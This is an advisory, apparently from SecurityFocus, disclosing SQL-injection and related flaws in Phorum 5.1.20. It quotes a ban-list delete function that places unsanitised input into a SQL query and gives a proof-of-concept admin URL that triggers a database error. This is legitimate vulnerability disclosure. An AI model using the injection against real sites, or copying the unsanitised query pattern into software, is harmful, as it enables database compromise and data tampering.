source: https://www.securityfocus.com/bid/23616/info
      
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
      
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
      
Phorum 5.1.20 is affected; prior versions may also be vulnerable.

> From source code - "include/db/mysql.php" line 3223:
--------------------------------------------------
function phorum_db_del_banitem($banid) {
    $PHORUM = $GLOBALS["PHORUM"];

    $conn = phorum_db_mysql_connect();

    $sql = "DELETE FROM {$PHORUM['banlist_table']} WHERE id = $banid";

    $res = mysql_query($sql, $conn);
---------------------------------------------------

PoC: http://localhost/phorum.5.1.20/admin.php?module=banlist&delete=1&curr=OR

... and we will get error message:

<!-- You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near
'OR' at line 1: DELETE FROM phorum_banlists WHERE id = OR -->